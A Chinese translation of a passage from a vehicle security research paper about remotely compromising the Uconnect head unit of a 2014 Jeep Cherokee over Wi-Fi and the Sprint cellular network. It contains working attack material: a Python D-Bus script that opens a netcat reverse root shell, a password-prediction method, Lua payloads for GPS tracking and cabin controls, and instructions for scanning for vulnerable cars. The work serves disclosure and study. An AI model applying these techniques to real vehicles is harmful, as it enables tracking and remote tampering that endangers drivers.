int v11 = convert_byte_to_ascii_letter(v10 % 62);
password[v9] = v11;
v9++;
} while (len > v9);
return password;

似乎随机密码纯粹是纪元epoch时间(以秒为单位)的函数。很难确切调查此密码是何时生成的,但下面的证据表明时间从主机首次启动时开始。因此,可能会生成一个密码列表,该列表可用于尝试对无线接入点进行 WPA2 加密连接。

根据汽车的年份,攻击者可以尝试猜测它何时首次开启并尝试使用适当的密码尝试集。仅供参考,如果我们能猜出一辆车的首次启动时间,我们只需要尝试大约 1500 万个密码。如果您考虑到汽车可能不太可能在半夜启动,您可能会将其减半。我们不是这方面的专家,但一个消息来源 [22] 表示您可以使用离线破解技术每秒尝试 133,000 次。

这意味着每个月大约需要 2 分钟。您可以在不到半小时的时间内尝试一整年。在密码学中,通常预测您只需要平均处理一半的可能密码即可确定正确的密码 [41];因此,时间可能会更短。在许多情况下,这可能是现实的,尽管 [22] 中的估计可能过于乐观。

但是,由于复杂的计时漏洞,似乎有另一种更简单的方法来破解密码,但请注意,我们只针对我们的主机尝试过这种方法,因此无法说明这种攻击的普遍性。当主机第一次启动时,它不知道现在几点了。它尚未从 GPS 或蜂窝连接获得任何信号。“clock.lua”文件负责设置系统时间。在函数‘start()’中,找到以下代码:

local rtcTime = getV850RealtimeClock()
local rtcValid = false
if rtcTime == nil or rtcTime.year == 65535 or rtcTime.month == 255 or 
rtcTime.day == 255 or rtcTime.hour == 255 or rtcTime.mi n == 255 or 
rtcTime.sec == 255 then
dbg.print("Clock: start -- V850 time not received or is set to factory
defaults")
...
if rtcValid == false then
dbg.print("Clock: start -- Unable to create the UTC time from V850")
setProperty("timeFormat24", false)
setProperty("enableClock", true)
setProperty("gpsTime", true)
setProperty("manualUtcOffset", 0)
defTime = {}
defTime.year = 2013
defTime.month = 1 
defTime.day = 1 
defTime.hour = 0 
defTime.min = 0 
defTime.sec = 0 
defTime.isdst = false
setSystemUTCTime(os.time(defTime))
timeFormatOverride = false
enableClockOverride = false
end

这似乎表明,当主机无法获取时间时,会将时间设置为 2013 年 1 月 1 日 GMT 的 00:00:00。问题是“WifiSvc”在第一次启动时生成WPA2密码时是否已经设置了正确的时间。从我们的单一数据点来看,答案是否定的。

如果您使用我们 Jeep 上的 WPA2 密码“TtYMxfPhZxkp”并暴力破解所有可能的时间以查看哪个会生成该密码,您会得出结果,我们的 Jeep 上的密码是在纪元时间生成的0x50e22720。这对应于格林威治标准时间 2013 年 1 月 1 日 00:00:32。

这表明,实际上,我们的主机从“clock.lua”设置时间到“WifiSvc”生成密码花了 32 秒,并且在这 32 秒内没有找到正确的时间。因此,在这种情况下,实际上只有几十个可能的密码可以尝试,而且很可能只有少数几个现实的可能性。换句话说,密码几乎可以立即被暴力破解。

打开端口

评估 Wi-Fi 热点的一种更明显的方法是端口扫描默认网关并检查是否有任何端口打开。令我们惊讶的是,不仅有端口开放,而且有几个开放。以下是根据 netstat 的侦听端口列表

# netstat -n | grep LISTEN
tcp 0 0 *.6010 *.* LISTEN
tcp 0 0 *.2011 *.* LISTEN
tcp 0 0 *.6020 *.* LISTEN
tcp 0 0 *.2021 *.* LISTEN
tcp 0 0 127.0.0.1.3128 *.* LISTEN
tcp 0 0 *.51500 *.* LISTEN
tcp 0 0 *.65200 *.* LISTEN
tcp 0 0 *.4400 *.* LISTEN
tcp 0 0 *.6667 *.* LISTEN

以下是通过端口扫描发现的服务的简短描述:

 2011:NATP

 2021:MontiorService。此服务将调试/跟踪信息从运行时系统传送到文件或通过 TCP/IP;还提供了通过 TCP/IP 向 SCP 系统发送 GCF 消息的可能性  3128: 3proxy。这是一个代理服务。

 4400:HmiGateway

 6010:Wicome

 6020:SASService。该服务实现了基于客户端-服务器的语音 API 架构的服务器部分

 6667:D-BUS 会话总线

 51500:3proxy 管理 web 服务器

 65200:dev-mv2trace

对于所有这些服务,其中许多是专有的,很可能存在允许远程利用的漏洞。一个极其保守的估计是每千行代码(SLOC)中至少有一个漏洞 [42]。一些现代汽车在其系统中使用了约 1 亿行软件代码,以占其功能的 40% [43]。经过一番研究,最有趣的开放端口似乎是 6667,它通常是为 IRC 保留的。

很明显,这个 Wi-Fi 热点不能运行 IRC 服务器,对吧?使用 telnet 客户端连接到 6667 并按回车几次后,我们意识到这不是 IRC 服务器,而是 IP 上的 D-Bus [23],它本质上是进程间通信 (IPC) 和远程过程调用(RPC) 机制用于进程之间的通信。

$ telnet 192.168.5.1 6667
Trying 192.168.5.1... 
Connected to 192.168.5.1. 
Escape character is '^]'. 
a
ERROR "Unknown command"

D-Bus 服务

Uconnect 系统上的 D-Bus 消息守护进程绑定到端口 6667,如上所述,用于进程间通信。机制之间的相互作用如下所示:

概述

实际上只有两条总线值得一提:系统总线,主要是守护进程和系统服务注册到的系统总线,以及为用户应用程序保留的会话总线。

D-Bus 可能需要身份验证。在 Jeep 主机上,身份验证对匿名操作开放,如下所示。

telnet 192.168.5.1 6667
Trying 192.168.5.1... 
Connected to 192.168.5.1. 
Escape character is '^]'. 
AUTH ANONYMOUS
OK 4943a53752f52f82a9ea4e6e00000001
BEGIN

我们使用 Python 的 D-Bus 库编写了几个脚本来与 D-Bus 系统进行交互,但在调查过程中使用的最有用的工具之一是 DFeet [24],它是一个易于使用的用于调试 D-Bus 服务的 GUI。

可以使用 DFeet 工具与 Jeep 上的 D-Bus 服务进行交互。在下面的屏幕截图中,我们正在查看“com.harman.service.SoftwareUpdate”服务的方法。

D-feet 连接并可以列出许多服务(称为总线名称)。例如:

com.alcas.xlet.manager.AMS 
com.harman.service.AppManager 
com.harman.service.AudioCtrlSvc
…

每个服务都有一个对象路径。例如“com.harman.service.onOff”的对象路径为“/com/harman/service/onOff”。

此外,每个服务都有两个接口:“com.harman.Serviceipc”和“org.freedesktop.DBus.Introspectable”。

Serviceipc 接口只有一个方法,它接受一个字符串参数并返回一个字符串,它表示通用 D-Bus 接口。这些服务可以从 DFeet 调用。例如,您可以点击'com.harman.service.Control',然后点击'/com/harman/service/Control',然后点击'Serviceipc'下的'Invoke',最后在参数下执行以下操作:“getServices”、“”

返回值可以在输出窗口(上面)中看到,但我们也在下面列出了一些:

{"com.harman.service.platform.launcher":
{"name":"com.harman.service.platform.launcher", 
"methods":{"launch":"launch"}},
"com.harman.service.Control":
{"name":"com.harman.service.Control", 
"methods":{"stop":"stop","getModules":"getModule
s","start":"start","getServices":"getServices","setDebug":"setDebug","shutdown":" 
shutdown"}},
"com.harman.service.PersonalConfig":{ 
"name":"com.harman.service.PersonalConfig",
"methods":{"getProperties":"getProperties","getA
llProperties":"getAllProperties","setProperties":"setProperties"}},

检查和分类通过 TCP 的所有 D-Bus 服务和方法调用是一项留给读者的练习,但我们发现了几个允许与主机直接交互的方法,例如调整收音机的音量、访问 PPS 数据,以及其他提供较低级别访问权限的内容。

蜂窝

2014 年 Jeep Cherokee 中的 Harman Uconnect 系统还包含通过 Sprint 的蜂窝网络进行通信的能力 [25]。

大多数人将这种通信方法统称为远程信息处理。该远程信息处理系统是车载 Wi-Fi、实时交通更新和远程连接的许多其他方面的支柱。Sierra Wireless AirPrime AR5550 使蜂窝连接成为可能,如下所示。

从外壳上的标记可以看出,它搭载了高通3G基带芯片,以Sprint为载体。还可以使用 Sierra 无线软件开发工具包 [26] 来开发和调试这些系统。

CAN 连接

我们之前在本文中提到,Uconnect 系统能够通过 Wi-Fi、蜂窝和蓝牙与外部世界以及 CAN 总线进行交互。

虽然运行在德州仪器 OMAP-DM3730 片上系统上的 ARM 处理器不能直接访问 CAN 总线,但板上的另一个封装确实具有这种能力。负责与内部高速 CAN (CAN-IHS) 和主要 CAN-C 总线交互的处理器是 Renesas V850 处理器,如下所示。

标记向我们表明该芯片是 Renesas V850ES/FJ3。同样,所有指标和以前的经验都表明这是汽车主机中相当典型的设置。V850 芯片功耗低,可以持续监控 CAN 流量数据。它可以在必要时唤醒(更高功率)OMAP 芯片。

对我们来说幸运的是,IDA Pro 已经包含了用于这种架构的处理器模块,因此我们不必自己编写。有关固件逆向工程过程的详细说明,请参阅下面的 V850 部分。

越狱 Uconnect

您将在本文后面看到,远程破坏 Jeep 不需要越狱 Uconnect 设备,但越狱对于弄清楚如何探索主机和横向移动是不可或缺的。

我们在此处为那些有兴趣轻松访问主机上的文件的人提供详细信息。显然,局部安全应被视为车辆整体安全态势的重要组成部分。正如任何漏洞利用作者都会告诉您的那样,弄清楚受到攻击的系统的复杂性对于弄清楚如何制作一个完全有效的漏洞利用非常重要。

通常有两种方法可以越狱 Uconnect 设备,其中一种应该适用于任何版本,但相当简单,另一种仅适用于某些版本的操作系统,但可以被视为合法越狱。

任何版本

您可以将带有有效 ISO 的 U 盘插入 Uconnect 系统上的 USB 端口。主机将识别出棒包含更新并开始更新过程,如下图

如果您在 U 盘验证后尝试移除它,但在它重新启动之前,它会中止更新并重新启动到正常(非更新)模式。

但是,在验证 U 盘后,系统会重新启动主机。如果在电源关闭时拔出 USB 记忆棒,它只会要求您插入它。

此时您可以插入新的 U 盘。目前尚不清楚它在新 U 盘上运行什么检查,但它必须与旧 U 盘“接近”,否则它什么也不做。

但是,它可以包含修改过的文件。十六进制编辑原始 ISO,例如更改 root 密码,将成功。更新从 ISO 运行,包括用于验证 ISO 有效性的代码。因此,如果需要,您可以阻止该代码运行完整性检查。

版本 14_05_03

版本 14_05_03 有一个错误,允许绕过 ISO 验证过程。ISO 仍然需要保持某些属性的完整性,我们并不完全了解这些属性(如上所述)。这些至少包括文件中的一些散列和签名。手动编辑 ISO 可以绕过完整性检查。

错误:

/usr/share/scripts/update/installer/system_module_check.lua
91 local fname= string.format("%s/swdl.iso", os.getenv("USB_STICK") or
"/fs/usb0")
92 local FLAGPOS=128
93
94 local f = io.open(fname, "rb")
95 if f then
96 local r, e = f:seek("set", FLAGPOS)
97 if r and (r == FLAGPOS) then
98 local x = f:read(1)
99 if x then
100 if x == "S" then
101 print("system_module_check: skip ISO integrity check")

绕过 ISO 的验证检查就像在十六进制编辑器中手动编辑文件并将偏移量 128 (0x80) 处的值更改为“S”(0x53) 一样简单。

更新模式

如果希望在更新过程中运行代码,例如绕过另一个检查(除了 ISO 完整性检查),您可以更改“system_module_check.lua”。

绕过某些步骤的最有效方法是更改​​ ISO 以检测 ISO 是否绕过完整性检查,如果是,则中止更新过程。这使您能够运行代码,而无需经历 Uconnect 系统的整个更新过程,这可能需要长达 30 分钟。可以通过仅更改 'cmds.sh' 的内容来中止完整更新。

尝试在更新期间以上述方式运行代码的主要缺点是主机处于“更新模式”(请参阅​​“bootmode.sh”有关更多详细信息),这意味着并非所有文件系统都已挂载,并且未启用网络连接等功能。但是,主机正在安装可以更改的更新,因此可以进行更改,这些更改将在车辆重新启动后持续存在。

正常模式

以不同方式修改 ISO 允许代码在“正常”模式下运行,因此可以访问所有文件系统和网络连接。为了在正常模式下更新代码,必须更改“boot.sh”文件以运行一些代码。这是我们用于越狱的 ISO 上 boot.sh 文件的差异:

< sh /fs/usb0/cmds.sh &
< ######rently started with high verbosity
---
> # Start Image Rot Fixer, currently started with high verbosity

进行此更改后,Uconnect 系统将在 U 盘上名为“cmds.sh”的文件上执行任何命令(如果它在启动时)。

例如,您可以更改 root 密码并启动 SSH 守护程序,以便使用 SSH 进行远程访问(授予您对 Uconnect 设备的 root 访问权限)。首先,您必须更改 ISO 中的 root 密码,然后将以下行添加到“cmds.sh”文件中,以便 SSH 在启动时启动:“/fs/mmc0/app/bin/sshd” 以下是通过 SSH 登录的内容看起来像在 Harman Uconnect 系统上。

ssh root@192.168.5.1
******************************** CMC ******************************** 
Warning - You are knowingly accessing a secured system. That means
you are liable for any mischeif you do.
*********************************************************************
root@192.168.5.1's password:

注意:Yes,该词在横幅中拼错了。

有时您可能希望将文件放在 Uconnect 系统上。为了做到这一点,必须能够写入文件系统。这就像运行典型的挂载命令一样简单:

mount -uw /fs/mmc0/

显然,如果需要,可以通过发出另一个挂载命令来反转此过程:

mount -ur /fs/mmc0/

利用 D-Bus 服务

D-Bus 系统可以匿名访问,通常用于进程间通信。我们认为不应公开 D-Bus 服务,因此可以利用它来运行攻击者提供的代码也就不足为奇了。

获得代码执行

您看到 D-Bus 服务暴露在运行在 Uconnect 系统上的端口 6667 上,我们认为这是我们以未经身份验证的方式执行代码的最佳方式。我们从一开始就怀疑这个服务,因为它是为进程相互通信而设计的。据推测,这种通信在某种程度上是可信的,并且可能不是为了处理远程恶意数据而设计的。在网络上公开像 D-Bus 这样强大而全面的服务会带来一些安全风险,包括滥用功能、代码注入甚至内存损坏。

在上面的 D-Bus 服务部分,我们看到了几个 D-Bus 服务及其对应的可以调用的方法,但我们遗漏了一个非常重要的服务,它名为“NavTrailService”。‘NavTrailService’代码在‘/service/platform/nav/navTrailService.lua’中实现。由于内存损坏很难,而且无论如何这是一个 LUA 脚本,因此首先想到的是寻找命令注入漏洞。我们发现了以下对用户提供的文件名进行操作的方法。

function methods.rmTrack(params, context)
return {
result = os.execute("rm \"" .. trail_path_saved .. params.filename .. "\"")
}
end

“rmTrack”方法包含一个命令注入漏洞,允许攻击者通过指定包含 shell 元字符的文件名来调用 D-Bus 方法来运行任意 shell 命令。(还有其他具有类似漏洞的方法)。我们的怀疑是正确的,因为在处理来自假定可信来源的用户输入时,命令注入是非常典型的。

但是,命令注入不是必需的,因为“NavTrailService”服务实际上提供了一个“execute”方法,该方法旨在执行任意 shell 命令!

嘿,这是一个功能,而不是一个错误!下面是“NavTrailService”服务可用的所有服务的列表,两者以粗体显示。

"com.harman.service.NavTrailService":
{"name":"com.harman.service.NavTrailService",
"methods":{"symlinkattributes":"symlinkattributes","getProperties":"get
Properties","execute":"execute","unlock":"unlock","navExport":"navExport"
,"ls":"ls","attributes":"attributes","lock":"lock","mvTrack":"mvTrack","g 
etTracksFolder":"getTracksFolder","chdir":"chdir","rmdir":"rmdir","getAll 
Properties":"getAllProperties","touch":"touch","rm":"rm","dir":"dir","wri 
teFiles":"writeFiles","setmode":"setmode","mkUserTracksFolder":"mkUserTra 
cksFolder","navGetImportable":"navGetImportable","navGetUniqueFilename":" 
navGetUniqueFilename","mkdir":"mkdir","ls_userTracks":"ls_userTracks","cu 
rrentdir":"currentdir","rmTrack":"rmTrack","cp":"cp","setProperties":"set 
Properties","verifyJSON":"verifyJSON"}},

您可以推断出,在主机上以 root 身份执行代码是一件小事,尤其是当默认安装带有众所周知的通信工具,例如 netcat (nc) 时。我们希望漏洞利用能够更加壮观(编者注:那是谎言),但在主机上执行代码是微不足道的。以下 4 行 Python 在未修改的主机上打开远程 root shell,这意味着攻击者无需越狱主机即可探索系统。

#!python import dbus 
bus_obj=dbus.bus.BusConnection("tcp:host=192.168.5.1,port=6667") 
proxy_object=bus_obj.get_object('com.harman.service.NavTrailService','/co 
m/harman/service/NavTrailService') 
playerengine_iface=dbus.Interface(proxy_object,dbus_interface='com.harman
.ServiceIpc')
print playerengine_iface.Invoke('execute','{"cmd":"netcat -l -p 6666 |
/bin/sh | netcat 192.168.5.109 6666"}')

Uconnect 攻击载荷

此时,我们可以在主机上运行任意代码,特别是在 Uconnect 系统内的 OMAP 芯片上。本节介绍可用于影响车辆内部和无线电功能的各种 LUA 脚本,例如调高音量或阻止某些控制旋钮响应(即音量)。想象一下突然调高音量并禁用拨号。

即使用户没有立即恐慌,如果漏洞持续很长时间,如果司机无法应对,它可以有效地“打砖块”。有些人可能无法忍受最大音量下一个小时或更长时间的沉重死亡金属(或辣妹)。简单的事情通常最能有效地诱使人类做出非理性行为。这些脚本将使您了解可以使用远程shell对车辆执行哪些操作并访问 Uconnect 操作系统。

在本文档的后面,我们将描述如何利用对 D-Bus 系统的远程访问来横向移动并发送任意 CAN 消息,这些消息将影响除主机之外的车辆中的其他系统。

GPS

head unit 主机可以通过 Sierra 无线调制解调器或 Wi-Fi 查询和检索吉普车的 GPS 坐标。这些值也可以通过端口 6667 使用未经身份验证的 D-bus 通信来检索,从而能够跟踪任意车辆。跟踪特定目标的 GPS 具有巨大的监视、间谍或勒索机会。换句话说,我们在这里展示了一个在主机上运行的脚本,但也可以只查询公开的 D-bus 服务。

service = require("service")
gps = "com.harman.service.NDR" 
gpsMethod = "JSON_GetProperties" 
gpsParams = {
inprop = {
"SEN_GPSInfo"
} }
response = service.invoke(gps, gpsMethod, gpsParams) 
print(response.outprop.SEN_GPSInfo.latitude, 
response.outprop.SEN_GPSInfo.longitude)

例如,如果您要在主机上执行“lua getGPS.lua”,它将返回如下所示的内容:

# lua getGPS.lua
40910512 -73184840

然后你可以在谷歌地图中输入一个稍微修改过的版本 40.910512, -73.184840 来找出它的位置。在这种情况下,它是在长岛的某个地方。

HVAC

主机可以控制车辆的暖气和空调。以下代码将风扇设置为任意速度。

require "service"
params = {} control = 
{} params.zone = 
"front" control.fan = 
arg[1]
params.controls = control
x=service.invoke("com.harman.service.HVAC", "setControlProperties", 
params)

收音机音量

Uconnect 系统的主要功能之一是控制收音机。想要将音量设置为任意值的攻击者可以轻松实现。例如,如果攻击者知道 Ace of Base 正在播放,他们可以将音量调整到适当的水平(即 flek 上的音量)。

require "service"
params = {}
params.volume = tonumber(arg[1])
x=service.invoke("com.harman.service.AudioSettings", "setVolume", params)

低音

有时,例如在收听 2 Live Crew 时,调高低音是唯一的选择。对重低音有兴趣的攻击者可以使用以下脚本相应地调整级别。

require "service" 
params = {}
params.bass = tonumber(arg[1])
x=service.invoke("com.harman.service.AudioSettings", "setEqualizer",
params)

广播电台 (FM)

在 FM 上选择合适的广播电台可能是任何适当的公路旅行中最重要的任务之一。也可以通过 LUA 脚本以编程方式更改电台。

require "service"
Tuner = "com.harman.service.Tuner"
service.invoke(Tuner, "setFrequency", {frequency = 94700})

显示

有多种方法可以更改 Uconnect 显示的状态,例如将其完全关闭或显示备用摄像头。下面是几个可以改变屏幕显示的代码示例。

require "service"
x=service.invoke("com.harman.service.LayerManager", "viewBlackScreen",
{})
x=service.invoke("com.harman.service.LayerManager", "stopBlackScreen",
{})
x=service.invoke("com.harman.service.LayerManager", "viewCameraInput",
{})
x=service.invoke("com.harman.service.LayerManager", "stopViewInput", {})
x=service.invoke("com.harman.service.LayerManager", "showSplash",
{timeout = 2})

将显示更改为图片

您还可以更改此主机的显示以显示您选择的图片。图像必须采用正确的尺寸和格式 (png)。然后图片必须放在文件系统的某个地方。只有这样,您才能告诉主机显示图片。

mount -uw /fs/mmc0/
cp pic.png /fs/mmc0/app/share/splash/Jeep.png
pidin arg | grep splash 
kill <PID>
splash -c /etc/splash.conf &

图像放置到位后,您可以调用上述“showSplash”方法。当用户远程篡改控制台上的代码时,有创意的攻击者可以强制向用户显示控制台的屏幕截图。

旋钮

更有趣的发现之一是能够终止一项服务,该服务将取消对用于收音机的旋钮的物理控制,例如音量或调谐器。通过终止主 D-Bus 服务,您可以使所有用于收音机的控件停止响应。如果在执行其他几项操作(例如将低音和音量调至最大级别)之后运行此攻击,则可能会特别烦人。

kill this process: lua -s -b -d /usr/bin service.lua

蜂窝漏洞利用

到目前为止,我们已经了解了如何通过 U 盘进行物理访问(越狱)或访问车载 Wi-Fi(利用 D-Bus 漏洞/功能),如何在主机上运行代码.这些黑客的最大问题是它们分别需要物理访问或攻击者加入 Wi-Fi 热点的能力(如果存在的话)。

加入 Wi-Fi 热点并利用车辆本来是非常令人兴奋的,因为这意味着我们可以远程妥协一辆未更改的乘用车,但它仍然有太多的先决条件和限制我们的口味。首先,我们假设大多数人不会为他们的车辆中的 Wi-Fi 服务付费,因为它每月 34.99 美元相当昂贵 [27]。其次,存在加入 Wi-Fi 网络的问题,尽管由于密码的生成方式,这似乎不是什么大问题。最后,也是最重要的是,Wi-Fi 的范围对于汽车黑客来说相当短,大约 32米数

尽管这对于在易受攻击的车辆附近行驶、破坏主机和发出一些命令来说已经足够了,但这并不是本文作者所期望的最终目标。我们继续调查我们是否可以从更远的地方利用这辆车。

网络设置

查看 Uconnect 系统的网络配置,我们可以看到它有几个用于通信的接口。它有一个用于内部 Wi-Fi 通信的接口 uap0 和另一个 PPP 接口 ppp0,大概用于通过 Sprint 的 3G 服务与外部世界进行通信。

# ifconfig
lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 33192 
inet 127.0.0.1 netmask 0xff000000
pflog0: flags=100<PROMISC> mtu 33192

uap0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
address: 30:14:4a:ee:a6:f8
media: <unknown type> autoselect
inet 192.168.5.1 netmask 0xffffff00 broadcast 192.168.5.255

ppp0: flags=8051<UP,POINTOPOINT,RUNNING,MULTICAST> mtu 1472 
inet 21.28.103.144 -> 68.28.89.85 netmask 0xff000000

192.168.5.1 地址是 Uconnect 系统到任何连接到 Wi-Fi 接入点的head unit的地址。IP 地址 68.28.89.85 是互联网上任何人在 Uconnect 系统连接到他们时都会看到的地址。但是,该地址未打开端口 6667。21.28.103.144 地址是 Uconnect 面向 Internet 的接口的实际地址,但仅对 Sprint 网络内部可用。

经过一些实验,发现每次汽车重启时PPP接口的IP地址都会发生变化,但地址空间总是落在两个A类地址块内:21.0.0.0/8或25.0.0.0/8,即大概是 Sprint 为车辆 IP 地址预留的地址空间。很可能有更多的地址块用于车辆,但我们确信上述两个地址空间都包含运行 Uconnect 系统的车辆。

我们还想检查一下,确实,D-Bus 服务绑定到蜂窝接口上的相同端口 (6667),允许通过 IP 进行 D-Bus 交互。下面的输出来自实时主机上的 netstat。

# netstat
Active Internet connections
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 144-103-28-21.po.65531 68.28.12.24.8443
SYN_SENT
tcp 0 27 144-103-28-21.po.65532 68.28.12.24.8443
LAST_ACK
tcp 0 0 *.6010 *.*
LISTEN
tcp 0 0 *.2011 *.*
LISTEN
tcp 0 0 *.6020 *.*
LISTEN
tcp 0 0 *.2021 *.*
LISTEN
tcp 0 0 localhost.3128 *.*
LISTEN
tcp 0 0 *.51500 *.*
LISTEN
tcp 0 0 *.65200 *.*
LISTEN
tcp 0 0 localhost.4400 localhost.65533
ESTABLISHED
tcp 0 0 localhost.65533 localhost.4400
ESTABLISHED
tcp 0 0 *.4400 *.*
LISTEN
tcp 0 0 *.irc *.*
LISTEN
udp 0 0 *.* *.*
udp 0 0 *.* *.*
udp 0 0 *.* *.*
udp 0 0 *.* *.*
udp 0 0 *.bootp *.*

从上面的输出中可以看出,众所周知与 IRC 相关的端口 6667 绑定到所有接口。因此,D-Bus 通信可以通过蜂窝网络与 Jeep 进行通信!我们的第一个想法是购买一个 femtocell 并迫使 Jeep 加入我们的网络,从而能够在更大范围内通过蜂窝直接与车辆通信。

Femtocell

Femtocell 设备基本上是微型蜂窝塔,提供给在其住所接收信号不佳的客户。除了作为蜂窝塔之外,还有许多设备被用来拦截蜂窝流量并被修改为攻击者的规格 [29]。

我们开始从 Ebay 购买一些较旧的 Sprint Airave [30] 设备,其中两台坏了,还有另一台“全新”设备被报告偷走了(感谢 Ebay!)。我们选择 Airave 2.0 单元是因为我们知道有一个公开漏洞可以在设备上打开 Telnet 和 HTTPS [31]。

运行漏洞利用后,我们的 Airave 设备可以通过 Telnet 访问,本质上为我们在设备上提供了一个 Busybox [32] shell。我们假设这将为我们提供通过蜂窝网络与 Jeep 通信所需的工具。

令我们高兴的是,我们能够 ping 吉普车并通过蜂窝网络通过 D-Bus 进行通信!这意味着我们可能会扩大我们的攻击范围,并使用与通过 Wi-Fi 来利用远程命令相同的漏洞,而无需进行任何更改并针对默认车辆(即不仅仅是启用了 Wi-Fi 的车辆)。

总的来说,这是一场巨大的胜利,但我们意识到范围仍然非常有限,并希望获得更多,我们将拥有更多……

蜂窝接入

我们使用毫微微蜂窝的原因是我们假设普通的 Sprint 塔会阻止两个设备之间的通信。通过使用我们自己的塔(femtocell),我们可以确保我们能够与吉普车中的 Uconnect 通信。但是,事实证明 Sprint 不会阻止其网络上设备之间的此类流量。

我们首先验证了在单个蜂窝塔内,Sprint 设备(在我们的例子中是燃烧器电话)可以直接与另一个 Sprint 设备(我们的 Jeep)通信。这将攻击范围增加到单个蜂窝塔的范围。因此,攻击者可以很容易地跟随车辆或坐在交通中并入侵目标系统。

更令我们震惊的是,连通性不仅限于单个塔或段。事实证明,该国任何地方的任何 Sprint 设备都可以与该国任何地方的任何其他 Sprint 设备进行通信。例如,下面是匹兹堡的 Chris 验证他可以访问圣路易斯吉普车的 D-Bus 端口的会话。

$ telnet 21.28.103.144 6667
Trying 21.28.103.144... 
Connected to 21.28.103.144. 
Escape character is '^]'.
a
ERROR "Unknown command"

注意:连接主机必须在 Sprint 网络上(例如连接到 Sprint 手机的笔记本电脑或连接到 Uconnect Wi-Fi 热点的笔记本电脑),而不仅仅是 Internet 上的通用主机。

注意:在雪佛兰召回后,使用 femtocell 的攻击仍然可能发生,但目标漏洞已被修补。

扫描易受攻击的车辆

要找到易受攻击的车辆,您只需从 IP 地址 21.0.0.0/8 和 25.0.0.0/8 上的 Sprint 设备扫描端口 6667。任何响应都是易受攻击的 Uconnect 系统(或 IRC 服务器)。要确定,您可以尝试 telnet 到设备并查找错误“未知命令”字符串。

如果需要,您可以与 D-Bus 服务交互以执行上述任何操作。除非您得到车主的许可,否则您不应该这样做。

扫描结果

为了了解受此漏洞影响的车辆数量以及易受攻击的车辆类型,我们进行了一些互联网扫描。以下是在扫描过程中观察到的似乎易受攻击的车辆列表:

2013 DODGE VIPER
2013 RAM 1500
2013 RAM 2500
2013 RAM 3500
2013 RAM CHASSIS 5500
2014 DODGE DURANGO
2014 DODGE VIPER
2014 JEEP CHEROKEE
2014 JEEP GRAND CHEROKEE
2014 RAM 1500
2014 RAM 2500
2014 RAM 3500
2014 RAM CHASSIS 5500
2015 CHRYSLER 200
2015 JEEP CHEROKEE
2015 JEEP GRAND CHEROKEE

注意:我们实际上并没有利用这些车辆,所以我们不能 100% 肯定地说它们是易受攻击的,但它们确实有一个监听 D-Bus 服务,我们可以在没有身份验证的情况下进行远程交互。

估计易受攻击的车辆数量

在一次扫描过程中,我们发现了 2695 辆车。在此期间,我们根据 VIN 号发现了 21 个重复项。使用基于人口标记和重新捕获的公式 [36],我们可以估计易受攻击的车辆的人口规模。

这是基于这样的想法:如果您基本上扫描了所有易受攻击的汽车,您将看到很多重复项,但如果您只扫描了一小部分,则不会看到很多重复项。我们没有看到很多重复。请注意,我们的设置与此数学模型的假设并不完全相同,但非常接近。

无论如何,菲亚特克莱斯勒知道实际数字。我们使用参考文档中的贝叶斯估计。

(2694 * 2694) / 19 +/- sqrt((2694 *2694 *2675 *2675) / (19 *19 *18)) = 381,980 +/- 89,393

因此,我们估计易受攻击的车辆数量在 292,000 到 471,000 之间。虽然我们看到了一些 2013 年和 2014 年的汽车,但克莱斯勒表示 2014 年的销量约为 1,017,019 [37],这意味着可能会比我们的估计多得多。

注意:这项研究导致的召回影响了 140 万辆汽车。看来我们上面的估计有点低。

车辆蠕虫

由于车辆可以扫描其他易受攻击的车辆,并且该漏洞不需要任何用户交互,因此可以编写蠕虫。该蠕虫会扫描易受攻击的车辆,利用它们的有效载荷来利用它们,从而扫描其他易受攻击的车辆等。这真的很有趣也很可怕。请不要这样做。请。

V850

我们之前讨论了 Uconnect 系统与两种不同的 CAN 总线进行通信的能力。CAN 通信由 Renesas V850ES/FJ3 芯片处理,如 CAN 连接部分所示。但是,在 D-bus 漏洞利用后我们在其上执行代码的 OMAP 芯片无法发送 CAN 消息。但是,它可以与可以发送 CAN 消息的 v850 芯片通信。

在调查主机时,V850 和 CAN 通信被称为“IOC”。有趣的是,IOC(V850 芯片)可以由主机(OMAP 芯片)更新,通常是通过 U 盘。下面我们将讨论如何更新 IOC,看看我们是否可以使用这种机制用修改过的固件刷新 IOC,这可能允许我们在破坏 OMAP 芯片后发送 CAN 消息。

Modes

IOC 可以在任何给定时间处于三种模式之一。第一种是应用程序模式,大多数用户会认为这是“常规”模式,因为它旨在使引导加载程序和固件完好无损并运行应用程序代码。第二种模式是引导加载程序模式,旨在用于更新 IOC 上的应用程序固件。最后,还有引导加载程序更新程序模式,该模式将 IOC 置于可以更新引导加载程序(负责将固件加载到 RAM 并将 IOC 放入应用程序)的状态。

更新 V850

回顾更新 ISO 中的“manifest.lua”,我们可以看到有一个用于更新 IOC 应用程序固件的文件,名为“cmcioc.bin”。正如您将在本文档后面看到的,这个二进制文件确实是一个完整的 V850 固件,可以对其进行逆向工程以更深入地探索有趣的方面。

43 ioc =
44 {
45 name = "ioc installer.",
46 installer = "ioc",
47 data = "cmcioc.bin",
48 }

深入研究“manifest.lua”,您会发现还有其他几个文件涉及更新 IOC 或其相应的引导加载程序。

6 local units =
7 {
...
19 ioc_bootloader =
20 {
21 name
22 iocmode
23 installer
= "IOC-BOOTLOADER",
= "no_check",
= "ioc_bootloader",
24 dev_ipc_script = "usr/share/scripts/dev-ipc.sh",
25 bootloaderUpdater = "usr/share/V850/cmciocblu.bin",
26 bootloader = "usr/share/V850/cmciocbl.bin",
27 manifest_file = "usr/share/V850/manifest.xml"
28 },
29 ioc =
30 {
31 name = "IOC",
32 installer = "ioc",
33 dev_ipc_script = "usr/share/scripts/dev-ipc.sh",
34 data = "usr/share/V850/cmcioc.bin"
35 },

用于实际更新 IOC 或其引导加载程序的文件数量实际上非常少。我们对应用程序代码最感兴趣,因为它为我们提供了找到用于发送和接收 CAN 消息的代码的最佳机会,下面以粗体显示。

$ ls -l usr/share/V850/
total 1924
-r-xr-xr-x 1 charlesm staff 458752 Jan 30 2014 cmcioc.bin
-r-xr-xr-x 1 charlesm staff 65536 Jan 30 2014 cmciocbl.bin
-r-xr-xr-x 1 charlesm staff 458752 Jan 30 2014 cmciocblu.bin
-r-xr-xr-x 1 charlesm staff 604 Jan 30 2014 manifest.xml

